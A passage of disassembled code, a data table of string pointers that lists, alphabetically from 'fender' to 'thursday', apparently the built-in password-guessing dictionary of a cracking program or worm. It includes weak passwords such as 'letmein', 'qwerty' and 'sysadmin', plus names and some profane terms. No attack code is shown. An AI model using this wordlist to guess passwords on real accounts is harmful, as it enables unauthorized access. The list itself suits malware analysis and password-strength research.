		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
